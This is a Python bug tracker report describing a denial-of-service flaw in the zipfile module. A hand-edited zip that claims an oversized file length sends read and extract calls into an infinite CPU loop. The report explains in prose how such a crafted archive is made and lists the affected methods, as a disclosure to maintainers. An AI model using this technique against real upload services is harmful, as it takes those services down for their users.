New submission from Nandiya: I am using the zipfile module on a webserver which provides a service which processes files in zips uploaded by users, while hardening against zip bombs, I tried binary editing a zip to put in false file size information. The result is interesting, when with a ZIP_STORED file, or with carefully crafted ZIP_DEFLATED file (and perhaps ZIP_BZIP2 and ZIP_LZMA for craftier hackers than I), when the stated file size exceeds the size of the archive itself, ZipExtFile.read goes into an infinite loop, consuming 100% CPU.
The following methods on such an archive all result in an infinite loop: ZipExtFile.read ZipExtFile.read(n) ZipExtFile.readlines ZipFile.extract ZipFile.extractall ZipExtFile.read1 silently returns corrupt data but does not hang. Obviously the module doesn't need to bend over backwards to deal gracefully with deliberately and maliciously crafted input, since all the user hopes for is to bring the program crashing down, but the 100% CPU infinite loop is probably one of the less satisfactory possible failure modes. It should either raise an exception or do something like read1 and silently return corrupt data. This is low priority except for security since unless a zip is maliciously crafted some kind of exception will almost certainly be raised due to a decompression or invalid zip exception. ---------- components: IO, Library (Lib) files: malzip.py messages: 206978 nosy: nandiya priority: normal severity: normal status: open title: zipfile - ZipExtFile.read goes into 100% CPU infinite loop on maliciously binary edited zips type: security versions: Python 2.7, Python 3.3 Added file: http://bugs.python.org/file33277/malzip.py _______________________________________ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue20078> _______________________________________ _______________________________________________ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
